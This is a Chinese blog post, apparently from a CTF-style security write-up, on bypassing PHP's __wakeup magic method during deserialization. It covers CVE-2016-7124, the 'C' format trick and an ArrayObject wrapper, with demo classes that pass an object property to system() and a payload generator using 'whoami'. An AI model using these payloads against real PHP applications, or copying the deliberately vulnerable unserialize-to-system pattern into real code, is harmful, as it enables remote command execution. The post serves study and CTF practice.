首页 > 其他分享 >Bypass: __wakeup绕过

Bypass: __wakeup绕过

时间:2023-09-11 18:56:14浏览次数:32  
标签:__ demo destruct Bypass wakeup 绕过 序列化

关于这个问题,首先得先考察php版本

CVE-2016-7124

php作用版本:

php5 < 5.6.25

php7 < 7.0.10

具体来说就是当序列化中的字符串的对象属性个数多余真实的属性个数时,会绕过__wakeup

比如这个例子:

O:4:"demo":1:{s:1:"a";b:1} ===> O:4:"demo":2:

C绕过

对象字符串空属性测试

C方法绕过适合空属性的对象字符串,以下测试demo在php5、7、8均测试过,均有以下情况

一个测试demo:

<?php
class demo{
    public $a = true;

    public function __wakeup(){
        echo "wakeup"."<br>";
    }

    public function __destruct(){
        echo "destruct"."<br>";
    }


}
unserialize($_GET['a']);
  • 正常的反序列化过程

image-20230911104741288

  • C绕过而且对象字符串有属性

发现__wakeup__destruct均没有执行

image-20230911104850492

  • C绕过而且对象字符串没有属性

发现绕过了__wakeup,并且__destruct得以执行

image-20230911104927372

需要利用对象属性进行恶意代码执行的方法

比如这个测试例子,如果要执行__destruct函数中的system函数,必然要使用到对象属性a

<?php
class demo{
    public $a;

    public function __wakeup(){
        echo "wakeup"."<br>";
    }

    public function __destruct(){
        echo "destruct"."<br>";
        system($this->a);
    }

}

解决方案是使用内置类绕过,参考愚人杯的题目:https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8?singleDoc#

Payload生成:

class demo{
    public $a;

    public function __wakeup(){
        echo "wakeup"."<br>";
    }

    public function __destruct(){
        echo "destruct"."<br>";
        system($this->a);
    }
}

$demo = new demo;
$demo->a = "whoami";
$arr = array("evil"=>$demo);		
$oa = new ArrayObject($arr);
$res = serialize($oa);						// 在序列化时 ArrayObject对象会被序列化  其属性array数组也会被序列化
echo $res;

测试版本为 php5<= 5.5.9 成功

参考链接

  1. https://fushuling.com/index.php/2023/03/11/php反序列化中wakeup绕过总结/

标签:__,demo,destruct,Bypass,wakeup,绕过,序列化
From: https://www.cnblogs.com/icfh/p/17694243.html

相关文章

  • XMind2021免安装绿色便携版教程来了!
    安装直接解压从文末获取到的压缩包打开解压的文件夹,找到XMind.exe,右键选择发送到->桌面快捷方式回到桌面双击快捷方式,启动XMind2021至此,你的XMind就安装解锁成了获取顶尖架构师栈关键字公号资源XMindXMind全系列激活工具教程C01超10G后端学习面试资......
  • 关于LINUX的yum本地仓库配置
    一.物理yum仓库配置1.在mnt目录下创建目录,并用mount进行挂载2.进入到"yum.repos.d"的目录,并创造bak目录用于存储备份原有的数据3.利用"vim"进入并创造"WLCK.repo"文件,并对内容进行配置4.保存退出后,使用chelan、repolist、searched、makecache等命令二.网络yum仓库配置......
  • ABC319 A-E 题解
    A用map<string,int>将名字对应的值存下来即可。赛时代码B按照题意暴力模拟,注意细节。赛时代码C答辩题,卡了我半个小时。枚举\(1\sim9\)的全排列,然后按照顺序计算即可,但代码实现比较答辩。赛时代码D显然具有可二分性,直接二分并判定可行性即可,注意不合法条件。赛......
  • UML介绍
    一、什么是UML统一建模语言(UnifiedModelingLanguage,UML)是一种为面向对象系统的产品进行说明、可视化和编制文档的一种标准语言,是非专利的第三代建模和规约语言。UML是面向对象设计的建模工具,独立于任何具体程序设计语言二、UML能够做什么帮助建立软件开发过程中的各种......
  • 09-计算属性
    Computed计算属性是Vue中常用的一个功能,那为什么要使用计算属性我们假定一个前提情况,如果我们需要用到一个属性,但这个属性不存在,却可以通过其他属性计算得来,我们则可以通过以下几个方法进行实现:1)插值语法实现2)methods实现3)计算属性实现 例:我们已知姓、名属性fir......
  • 【Python新手参考】带界面的英文单词计数器
    事情经过昨天晚上用电脑写作文,由于不放心Word的计词器,一时又找不到合适的工具,于是索性自己写了一个。那么为什么要带界面呢?原因是我曾经尝试过input(),但是它不能处理文本中的换行,所以只能将tkinter.Text作为输入框。写完之后我发现这个东西似乎还有点参考价值,故post出来。包含......
  • RunnerGo:让你的性能测试变得轻松简单
    在当今这个数字化时代,应用程序的性能至关重要。一款可靠的性能测试工具,能够为企业带来无数的好处。最近,一款名为RunnerGo的开源性能测试工具备受瞩目。本文将详细介绍RunnerGo的特点、优势以及如何解决性能测试中的痛点。 RunnerGo产品介绍RunnerGo是一款由国内开发者自主研......
  • 一道数据结构
    题意:给定长度为\(n\)的序列\(a\),\(m\)次询问,每次询问区间\([l,r]\)中选取三个点\(i,j,k\)满足\(l\lei<j<k\ler\)且\(j-i\lek-j\),你需要使得\(a_i+a_j+a_k\)最大,输出这个最大值。数据范围:\(3\len\le5\times10^4\),\(1\lea_i\le10^9\),\(1\lem\le5\times1......
  • vmware esxi重启后,存储丢失
     1.扫描[root@localhost:~]esxcfg-volume-lScanningforVMFS-6hostactivity(4096bytes/HB,1024HBs).VMFSUUID/label:6319b7da-b762d218-2419-ac1f6bd0401e/99_1Canmount:YesCanresignature:YesExtentname:naa.55cd2e414fc3857d:3range:0-2211......
  • MarkDown语法
    •推荐文本编辑器:Typora•文件后缀;xxx.md •样式:     标题     字体样式     链接,列表     表格      图片      代码      。。。。。......